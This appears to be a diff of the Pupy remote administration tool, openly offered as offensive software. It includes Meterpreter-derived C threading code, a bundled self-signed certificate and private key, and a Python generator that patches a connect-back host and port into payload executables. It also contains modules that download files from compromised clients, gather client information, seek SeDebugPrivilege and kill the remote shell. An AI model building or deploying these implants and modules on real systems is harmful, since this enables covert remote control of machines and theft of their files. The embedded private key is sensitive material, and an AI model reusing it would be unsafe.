#endif
|
||||
|
||||
return event;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy an event.
|
||||
*/
|
||||
BOOL event_destroy( EVENT * event )
|
||||
{
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
#ifdef _WIN32
|
||||
CloseHandle( event->handle );
|
||||
#endif
|
||||
|
||||
free( event );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Signal an event.
|
||||
*/
|
||||
BOOL event_signal( EVENT * event )
|
||||
{
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
#ifdef _WIN32
|
||||
//dprintf( "Signalling 0x%x", event->handle );
|
||||
if( SetEvent( event->handle ) == 0 ) {
|
||||
//dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() );
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
event->handle = (HANDLE)1;
|
||||
__futex_wake(&(event->handle), 1);
|
||||
#endif
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly.
|
||||
* If timeout is 0 this function does not block but returns immediately.
|
||||
*/
|
||||
BOOL event_poll( EVENT * event, DWORD timeout )
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
#else
|
||||
BOOL result = FALSE;
|
||||
|
||||
// DWORD WINAPI WaitForSingleObject(
|
||||
// __in HANDLE hHandle,
|
||||
// __in DWORD dwMilliseconds
|
||||
// );
|
||||
// http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx
|
||||
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
if(timeout) {
|
||||
struct timespec ts;
|
||||
|
||||
// XXX, need to verify for -1. below modified from bionic/pthread.c
|
||||
// and maybe loop if needed ;\
|
||||
|
||||
ts.tv_sec = timeout / 1000;
|
||||
ts.tv_nsec = (timeout%1000)*1000000;
|
||||
if (ts.tv_nsec >= 1000000000) {
|
||||
ts.tv_sec++;
|
||||
ts.tv_nsec -= 1000000000;
|
||||
}
|
||||
|
||||
// atomically checks if event->handle is 0, if so,
|
||||
// it sleeps for timeout. if event->handle is 1, it
|
||||
// returns straight away.
|
||||
|
||||
__futex_wait(&(event->handle), 0, &ts);
|
||||
}
|
||||
|
||||
// We should behave like an auto-reset event
|
||||
result = event->handle ? TRUE : FALSE;
|
||||
if( result )
|
||||
event->handle = (HANDLE)0;
|
||||
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
/*
|
||||
* Opens and create a THREAD item for the current/calling thread.
|
||||
*/
|
||||
THREAD * thread_open( VOID )
|
||||
{
|
||||
THREAD * thread = NULL;
|
||||
#ifdef _WIN32
|
||||
OPENTHREAD pOpenThread = NULL;
|
||||
HMODULE hKernel32 = NULL;
|
||||
|
||||
|
||||
thread = (THREAD *)malloc( sizeof( THREAD ) );
|
||||
if( thread != NULL )
|
||||
{
|
||||
memset( thread, 0, sizeof(THREAD) );
|
||||
|
||||
thread->id = GetCurrentThreadId();
|
||||
thread->sigterm = event_create();
|
||||
|
||||
// Windows specific process of opening a handle to the current thread which
|
||||
// works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access
|
||||
// for now.
|
||||
|
||||
// First we try to use the normal OpenThread function, available on Windows 2000 and up...
|
||||
hKernel32 = LoadLibrary( "kernel32.dll" );
|
||||
pOpenThread = (OPENTHREAD)GetProcAddress( hKernel32, "OpenThread" );
|
||||
if( pOpenThread )
|
||||
{
|
||||
thread->handle = pOpenThread( THREAD_TERMINATE|THREAD_SUSPEND_RESUME, FALSE, thread->id );
|
||||
}
|
||||
else
|
||||
{
|
||||
NTOPENTHREAD pNtOpenThread = NULL;
|
||||
// If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
|
||||
HMODULE hNtDll = LoadLibrary( "ntdll.dll" );
|
||||
pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" );
|
||||
if( pNtOpenThread )
|
||||
{
|
||||
_OBJECT_ATTRIBUTES oa = {0};
|
||||
_CLIENT_ID cid = {0};
|
||||
|
||||
cid.UniqueThread = (PVOID)thread->id;
|
||||
|
||||
pNtOpenThread( &thread->handle, THREAD_TERMINATE|THREAD_SUSPEND_RESUME, &oa, &cid );
|
||||
}
|
||||
|
||||
FreeLibrary( hNtDll );
|
||||
}
|
||||
|
||||
FreeLibrary( hKernel32 );
|
||||
}
|
||||
|
||||
return thread;
|
||||
#else
|
||||
thread = (THREAD *)malloc( sizeof( THREAD ) );
|
||||
|
||||
if( thread != NULL )
|
||||
{
|
||||
memset( thread, 0, sizeof(THREAD) );
|
||||
|
||||
thread->id = gettid();
|
||||
thread->sigterm = event_create();
|
||||
thread->pid = pthread_self();
|
||||
}
|
||||
return thread;
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifndef _WIN32
|
||||
|
||||
struct thread_conditional {
|
||||
pthread_mutex_t suspend_mutex;
|
||||
pthread_cond_t suspend_cond;
|
||||
int engine_running;
|
||||
LPVOID (*funk)(void *arg);
|
||||
THREAD *thread;
|
||||
};
|
||||
|
||||
void __thread_cancelled(int signo)
|
||||
{
|
||||
signal(SIGTERM, SIG_DFL);
|
||||
pthread_exit(NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* This is the entry point for threads created with thread_create.
|
||||
*
|
||||
* To implement suspended threads, we need to do some messing around with
|
||||
* mutexes and conditional broadcasts ;\
|
||||
*/
|
||||
|
||||
void *__paused_thread(void *req)
|
||||
{
|
||||
LPVOID (*funk)(void *arg);
|
||||
THREAD *thread;
|
||||
|
||||
struct thread_conditional *tc = (struct thread_conditional *)(req);
|
||||
tc->thread->id = gettid();
|
||||
|
||||
signal(SIGTERM, __thread_cancelled);
|
||||
|
||||
pthread_mutex_lock(&tc->suspend_mutex);
|
||||
|
||||
while(tc->engine_running == FALSE) {
|
||||
pthread_cond_wait(&tc->suspend_cond, &tc->suspend_mutex);
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&tc->suspend_mutex);
|
||||
|
||||
funk = tc->funk;
|
||||
thread = tc->thread;
|
||||
free(tc);
|
||||
|
||||
if(event_poll(thread->sigterm, 0) == TRUE) {
|
||||
/*
|
||||
* In some cases, we might want to stop a thread before it does anything :/
|
||||
*/
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return funk(thread);
|
||||
}
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Create a new thread in a suspended state.
|
||||
*/
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )
|
||||
{
|
||||
THREAD * thread = NULL;
|
||||
|
||||
if( funk == NULL )
|
||||
return NULL;
|
||||
|
||||
thread = (THREAD *)malloc( sizeof( THREAD ) );
|
||||
if( thread == NULL )
|
||||
return NULL;
|
||||
|
||||
memset( thread, 0, sizeof( THREAD ) );
|
||||
|
||||
thread->sigterm = event_create();
|
||||
if( thread->sigterm == NULL )
|
||||
{
|
||||
free( thread );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
thread->parameter1 = param1;
|
||||
thread->parameter2 = param2;
|
||||
thread->parameter3 = param3;
|
||||
|
||||
#ifdef _WIN32
|
||||
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );
|
||||
|
||||
if( thread->handle == NULL )
|
||||
{
|
||||
event_destroy( thread->sigterm );
|
||||
free( thread );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#else
|
||||
// PKS, this is fucky.
|
||||
// we need to use conditionals to implement this.
|
||||
|
||||
thread->thread_started = FALSE;
|
||||
|
||||
do {
|
||||
pthread_t pid;
|
||||
|
||||
struct thread_conditional *tc;
|
||||
tc = (struct thread_conditional *) malloc(sizeof(struct thread_conditional));
|
||||
|
||||
if( tc == NULL ) {
|
||||
event_destroy(thread->sigterm);
|
||||
free(thread);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memset( tc, 0, sizeof(struct thread_conditional));
|
||||
|
||||
pthread_mutex_init(&tc->suspend_mutex, NULL);
|
||||
pthread_cond_init(&tc->suspend_cond, NULL);
|
||||
|
||||
tc->funk = funk;
|
||||
tc->thread = thread;
|
||||
|
||||
thread->suspend_thread_data = (void *)(tc);
|
||||
|
||||
if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) {
|
||||
free(tc);
|
||||
event_destroy(thread->sigterm);
|
||||
free(thread);
|
||||
return NULL;
|
||||
}
|
||||
// __paused_thread free's the allocated memory.
|
||||
|
||||
} while(0);
|
||||
#endif
|
||||
|
||||
return thread;
|
||||
}
|
||||
|
||||
/*
|
||||
* Run a thread.
|
||||
*/
|
||||
BOOL thread_run( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
#ifdef _WIN32
|
||||
if( ResumeThread( thread->handle ) < 0 )
|
||||
return FALSE;
|
||||
|
||||
#else
|
||||
struct thread_conditional *tc;
|
||||
tc = (struct thread_conditional *)thread->suspend_thread_data;
|
||||
pthread_mutex_lock(&tc->suspend_mutex);
|
||||
tc->engine_running = TRUE;
|
||||
pthread_mutex_unlock(&tc->suspend_mutex);
|
||||
pthread_cond_signal(&tc->suspend_cond);
|
||||
|
||||
thread->thread_started = TRUE;
|
||||
#endif
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal.
|
||||
* Should be used to signal the thread to terminate.
|
||||
*/
|
||||
BOOL thread_sigterm( THREAD * thread )
|
||||
{
|
||||
BOOL ret;
|
||||
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
ret = event_signal( thread->sigterm );
|
||||
|
||||
#ifndef _WIN32
|
||||
/*
|
||||
* If we sig term a thread before it's started execution, we will leak memory / not be
|
||||
* able to join on the thread, etc.
|
||||
*
|
||||
* Therefore, we need to start the thread executing before calling thread_join
|
||||
*/
|
||||
if(thread->thread_started != TRUE) {
|
||||
thread_run(thread);
|
||||
}
|
||||
#endif
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
/*
|
||||
* Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so.
|
||||
*/
|
||||
BOOL thread_kill( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
#ifdef _WIN32
|
||||
if( TerminateThread( thread->handle, -1 ) == 0 )
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
#else
|
||||
// bionic/libc/bionic/CAVEATS
|
||||
// - pthread cancellation is *not* supported. this seemingly simple "feature" is the source
|
||||
// of much bloat and complexity in a C library. Besides, you'd better write correct
|
||||
// multi-threaded code instead of relying on this stuff.
|
||||
|
||||
// pthread_kill says: Note that pthread_kill() only causes the
|
||||
// signal to be handled in the context of the given thread; the signal
|
||||
// action (termination or stopping) affects the process as a whole.
|
||||
|
||||
// We send our thread a SIGTERM, and a signal handler calls pthread_exit().
|
||||
|
||||
pthread_kill(thread->id, SIGTERM);
|
||||
return FALSE;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Blocks untill the thread has terminated.
|
||||
*/
|
||||
BOOL thread_join( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
#ifdef _WIN32
|
||||
if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
#else
|
||||
if(pthread_join(thread->pid, NULL) == 0)
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
#endif
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroys a previously created thread. Note, this does not terminate the thread. You must signal your
|
||||
* thread to terminate and wait for it to do so (via thread_signal/thread_join).
|
||||
*/
|
||||
BOOL thread_destroy( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
event_destroy( thread->sigterm );
|
||||
|
||||
#ifdef _WIN32
|
||||
CloseHandle( thread->handle );
|
||||
#else
|
||||
pthread_detach(thread->pid);
|
||||
#endif
|
||||
|
||||
free( thread );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
|
@ -0,0 +1,118 @@
|
|||
#ifndef _METERPRETER_LIB_THREAD_H
|
||||
#define _METERPRETER_LIB_THREAD_H
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
/*****************************************************************************************/
|
||||
// Win32/64 specific definitions...
|
||||
|
||||
typedef struct __UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} _UNICODE_STRING, * _PUNICODE_STRING;
|
||||
|
||||
typedef struct __OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
_PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct __CLIENT_ID
|
||||
{
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} _CLIENT_ID, * _PCLIENT_ID;
|
||||
|
||||
typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread
|
||||
|
||||
typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
#else
|
||||
#include "pthread.h"
|
||||
#endif // _WIN32
|
||||
|
||||
typedef struct _LOCK
|
||||
{
|
||||
#ifdef _WIN32
|
||||
HANDLE handle;
|
||||
#else
|
||||
pthread_mutex_t *handle;
|
||||
#endif // _WIN32
|
||||
} LOCK, * LPLOCK;
|
||||
|
||||
typedef struct _EVENT
|
||||
{
|
||||
HANDLE handle;
|
||||
} EVENT, * LPEVENT;
|
||||
|
||||
typedef struct _THREAD
|
||||
{
|
||||
DWORD id;
|
||||
HANDLE handle;
|
||||
EVENT * sigterm;
|
||||
LPVOID parameter1;
|
||||
LPVOID parameter2;
|
||||
LPVOID parameter3;
|
||||
#ifndef _WIN32
|
||||
void *suspend_thread_data;
|
||||
pthread_t pid;
|
||||
int thread_started;
|
||||
#endif
|
||||
} THREAD, * LPTHREAD;
|
||||
|
||||
#ifdef __GNUC__
|
||||
#define THREADCALL __attribute__((stdcall))
|
||||
#else // ! gcc
|
||||
#define THREADCALL __stdcall
|
||||
#endif
|
||||
|
||||
typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
LOCK * lock_create( VOID );
|
||||
|
||||
VOID lock_destroy( LOCK * lock );
|
||||
|
||||
VOID lock_acquire( LOCK * lock );
|
||||
|
||||
VOID lock_release( LOCK * lock );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
EVENT * event_create( VOID );
|
||||
|
||||
BOOL event_destroy( EVENT * event );
|
||||
|
||||
BOOL event_signal( EVENT * event );
|
||||
|
||||
BOOL event_poll( EVENT * event, DWORD timeout );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
THREAD * thread_open( VOID );
|
||||
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
|
||||
|
||||
BOOL thread_run( THREAD * thread );
|
||||
|
||||
BOOL thread_sigterm( THREAD * thread );
|
||||
|
||||
BOOL thread_kill( THREAD * thread );
|
||||
|
||||
BOOL thread_join( THREAD * thread );
|
||||
|
||||
BOOL thread_destroy( THREAD * thread );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIDjzCCAnegAwIBAgIJAIK87pAgfXeYMA0GCSqGSIb3DQEBCwUAMF4xCzAJBgNV
|
||||
BAYTAkZSMQ8wDQYDVQQIDAZGcmFuY2UxETAPBgNVBAcMCGludGVybmV0MQ0wCwYD
|
||||
VQQKDARQdXB5MQ0wCwYDVQQLDARQdXB5MQ0wCwYDVQQDDARQdXB5MB4XDTE1MDky
|
||||
MTE5NTI0NFoXDTE2MDkyMDE5NTI0NFowXjELMAkGA1UEBhMCRlIxDzANBgNVBAgM
|
||||
BkZyYW5jZTERMA8GA1UEBwwIaW50ZXJuZXQxDTALBgNVBAoMBFB1cHkxDTALBgNV
|
||||
BAsMBFB1cHkxDTALBgNVBAMMBFB1cHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
|
||||
ggEKAoIBAQDCALki+F7IVLB3UQO3tAGMJFS5WuDHawhqriEfsIVnG/UQfuQmcGJ1
|
||||
FiUhytH82fhbLEUroYXbGQRvEEBZWIPIyOW7Z6BASRgOSKQL8HaE3cgROY09B4Ra
|
||||
QNmFhowd/XXO1pHm0wYpQ0gnZxZkNkRCT+fD4OP0IepCHf7r/vgMbAILQTFx4zU3
|
||||
DdF/2Mcyfvg4uPKio214dZZoo/LnptHo63RHstwb+KmaSGvGBq2Yd7vZRPwjqDR4
|
||||
RPYc3O9bJce3W8hFw3hPUhgwxHX8o4nDkWMPnBga8d9aeTIZTMbBVY6G/8HJdp1s
|
||||
rCoxqB67Dqhnka+qQBO8DHulMXnoQKutAgMBAAGjUDBOMB0GA1UdDgQWBBTGAL40
|
||||
Q6MYGSQ5papCCHiqhD8ELzAfBgNVHSMEGDAWgBTGAL40Q6MYGSQ5papCCHiqhD8E
|
||||
LzAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAW0wYlhU4D5X0GKkiZ
|
||||
p+vGvN3ja/PY+yK9JozKD56eMrmoGk3/105ro+IvliY0EiEKuL6PBNZsCmDwutNZ
|
||||
2Qk+W8LJJIN8QtGLR+KI2MGKQZGJQrCw1mZVM8sN0hQOViog/20Lk+2dtnMTKHRc
|
||||
kdmFyWa2zZlPIEANRfs9QjctAjS4UetzbJ+gjeJV45+0xsAjNLXQfmKjbGm8ZWWV
|
||||
6BisRQ9h+lH+YFnuEV6SLZgMdqVKN+CPiwFI4wnHSEpZR1twk6wlUmM/xrl68aIg
|
||||
e1rycdex3u2JuDxMqBA2rAcJP1kJfKmRz6FfZBfj1zZYUps2tx6cKn2s/BbgqErK
|
||||
eXlU
|
||||
-----END CERTIFICATE-----
|
|
@ -0,0 +1,2 @@
|
|||
#!/bin/bash
|
||||
openssl req -new -x509 -keyout server.pem -out cert.pem -days 365 -nodes
|
|
@ -0,0 +1,28 @@
|
|||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDCALki+F7IVLB3
|
||||
UQO3tAGMJFS5WuDHawhqriEfsIVnG/UQfuQmcGJ1FiUhytH82fhbLEUroYXbGQRv
|
||||
EEBZWIPIyOW7Z6BASRgOSKQL8HaE3cgROY09B4RaQNmFhowd/XXO1pHm0wYpQ0gn
|
||||
ZxZkNkRCT+fD4OP0IepCHf7r/vgMbAILQTFx4zU3DdF/2Mcyfvg4uPKio214dZZo
|
||||
o/LnptHo63RHstwb+KmaSGvGBq2Yd7vZRPwjqDR4RPYc3O9bJce3W8hFw3hPUhgw
|
||||
xHX8o4nDkWMPnBga8d9aeTIZTMbBVY6G/8HJdp1srCoxqB67Dqhnka+qQBO8DHul
|
||||
MXnoQKutAgMBAAECggEAEHJnP6O2xV0IqNThb81+5BagaCZgMAfO6txgSoN4i8k+
|
||||
+WsIhIm6jxqVg0viiYEhIPmb05sZ8f0o9xF1ox1x7q+5ai3a1BheRbe60JhOM+1p
|
||||
bKxoYOgmPFCLIFrLvi8isapXLC5vs0fU8iI3L7+6AbUsfNqv+J53cauBVRiEhujr
|
||||
aK23EJyY1FrklFGyn/qJKKw89sArg63S4cf1JZ/05xkiVV6sivVjDLnQRjBM3gex
|
||||
l0SMlHJseudV40AGUwOVeABdijrTTB2CpoMjsSH9wSRN7jCC6sJaqViq9+sMCdXo
|
||||
IyR+ifisM0yrNC0U19h/v3psbIYlLRUOQDKN5lGIgQKBgQDitzPk867oxUIPT0mq
|
||||
QV6lD8ySNeGqDFpp2GFaEMcap1lp7Y9LIeqxghN1PZoZ5v29NoxxQNxCFhfo+VHo
|
||||
vSoECKcEvR3RQkaA24IR41BQcLea/D6lea3KFC/K0ze7y0Pm5bw9Unv3+3pZb0pO
|
||||
VxAzuV2ldRd2eHzEpn0BJyVraQKBgQDbD86lluqxxL7/mYITdxANtpb3yTnTdrv0
|
||||
Xl3scOb4umGAj4qBPFDHhmGz/6SmM2LKKA8sSps/XKfDHQEXzUMRenaU+CKKiE7r
|
||||
YA0GdZWgBYgtVCDCpuu8RNfbW+vx2uLvRr2iZJW7MQQtPdZ8rF01GKG0vQ67tbpR
|
||||
8BuWBMXJpQKBgQDIaSSBlnwengkIWZGH5GNSzEWNVf4XAPaHrFRadoxa3mZnAi3y
|
||||
P5gktBSZRgxMK2pP8cFyd+B8tuUJ+CNU9qsGh9OEl9yc19ZVIDW5tFSR1yIm6iZC
|
||||
xu4+vVuGEvKomkV6/chJ+PlHPFFqb7uixsm2v3ytv3UvL9EzUO0dsMoeSQKBgQCp
|
||||
Zdzf8gdFNqaYUyXiVYTlhdfSfxonaz7HJp4s89W4a7BwUQ/DBlhVIpa1MbAqEbyI
|
||||
JVguYPcSlVzppakttb3yayf95LAZPnUA0QLhhtYQq5Z1rwOyYpASw43EhJ29Jg2t
|
||||
CKAmTu/2lF3tek89k7B0GbsaX8Rf5ZTSPgGnDcPBPQKBgHNfcTM34Kuqd5taxUEy
|
||||
kIvgHvLBfOk7PbV3Zsejp1ZZllwTkoxDxDBCkELgZ4jfsXGaJxg9bCYkuDS1Jsg1
|
||||
3F/hTvlV79UX+dfPgz9FPY8rzoPZ0ukKONXhO68m7ywQJOdtkBO/lXad93JvSDDy
|
||||
nntqa2r7P+igcForz17n95Wy
|
||||
-----END PRIVATE KEY-----
|
|
@ -0,0 +1,81 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# ---------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# ---------------------------------------------------------------
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import os.path
|
||||
|
||||
def get_edit_binary(path, host, ip):
|
||||
binary=b""
|
||||
with open(path, 'rb') as f:
|
||||
binary=f.read()
|
||||
i=0
|
||||
offsets=[]
|
||||
while True:
|
||||
i=binary.find("<default_connect_back_host>:<default_connect_back_port>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
|
||||
if i==-1:
|
||||
break
|
||||
offsets.append(i)
|
||||
|
||||
if not offsets:
|
||||
raise Exception("Error: the offset to edit IP:PORT have not been found")
|
||||
elif len(offsets)!=1:
|
||||
raise Exception("Error: multiple offsets to edit IP:PORT have been found")
|
||||
|
||||
new_host="%s:%s\x00\x00\x00\x00"%(host,ip)
|
||||
if len(new_host)>100:
|
||||
raise Exception("Error: host too long")
|
||||
binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):]
|
||||
return binary
|
||||
|
||||
|
||||
if __name__=="__main__":
|
||||
parser = argparse.ArgumentParser(description='Process some integers.')
|
||||
parser.add_argument('-t', '--type', default='exe_x86', help="exe_x86/dll_x86 exe_x64/dll_x64 (default: exe_x86)")
|
||||
parser.add_argument('-o', '--output', help="output path")
|
||||
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
|
||||
parser.add_argument('host', help="connect back host")
|
||||
args=parser.parse_args()
|
||||
outpath=None
|
||||
if args.type=="exe_x86":
|
||||
binary=get_edit_binary(os.path.join("payloads","pupyx86.exe"), args.host, args.port)
|
||||
outpath="pupyx86.exe"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="exe_x64":
|
||||
binary=get_edit_binary(os.path.join("payloads","pupyx64.exe"), args.host, args.port)
|
||||
outpath="pupyx64.exe"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="dll_x64":
|
||||
exit("not implemented")
|
||||
elif args.type=="dll_x86":
|
||||
exit("not implemented")
|
||||
pass
|
||||
else:
|
||||
exit("Type %s is invalid."%(args.type))
|
||||
print "binary generated to %s with HOST=%s"%(outpath,(args.host, args.port))
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from rpyc.utils.classic import download
|
||||
import os
|
||||
import os.path
|
||||
|
||||
__class_name__="DownloaderScript"
|
||||
|
||||
class DownloaderScript(PupyModule):
|
||||
""" download a file/directory from a remote system """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='download', description=self.__doc__)
|
||||
self.arg_parser.add_argument('remote_file', metavar='<remote_path>')
|
||||
self.arg_parser.add_argument('local_file', nargs='?', metavar='<local_path>')
|
||||
def run(self, args):
|
||||
remote_file=self.client.conn.modules['os.path'].expandvars(args.remote_file)
|
||||
rep=os.path.join("data","downloads",self.client.short_name())
|
||||
if not args.local_file:
|
||||
try:
|
||||
os.makedirs(rep)
|
||||
except Exception:
|
||||
pass
|
||||
args.local_file=os.path.join(rep, os.path.basename(remote_file.replace("\\",os.sep).replace("/",os.sep).rstrip("/\\")))
|
||||
self.info("downloading %s ..."%remote_file)
|
||||
download(self.client.conn, remote_file, args.local_file)
|
||||
self.success("file downloaded from remote:%s to local:%s"%(remote_file, args.local_file))
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.PupyErrors import PupyModuleError
|
||||
|
||||
__class_name__="ExitModule"
|
||||
|
||||
class ExitModule(PupyModule):
|
||||
""" exit the client on the other side """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="exit", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--yes', action="store_true", help='exit confirmation')
|
||||
|
||||
def run(self, args):
|
||||
if args.yes:
|
||||
try:
|
||||
self.client.conn.exit()
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
raise PupyModuleError("Warning: if you do this you will loose your shell. Please conform with --yes to perform this action.")
|
||||
return "client exited"
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
|
||||
__class_name__="GetInfo"
|
||||
|
||||
class GetInfo(PupyModule):
|
||||
""" get some informations about one or multiple clients """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='get_info', description=self.__doc__)
|
||||
#self.arg_parser.add_argument('arguments', nargs='+', metavar='<command>')
|
||||
def run(self, args):
|
||||
infos=""
|
||||
for k,v in self.client.desc.iteritems():
|
||||
if k not in ["conn","id","user","platform"]:
|
||||
infos+="{:<10}: {}\n".format(k,v)
|
||||
self.rawlog(infos)
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
|
||||
__class_name__="GetPrivsModule"
|
||||
|
||||
class GetPrivsModule(PupyModule):
|
||||
""" try to get SeDebugPrivilege for the current process """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__)
|
||||
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
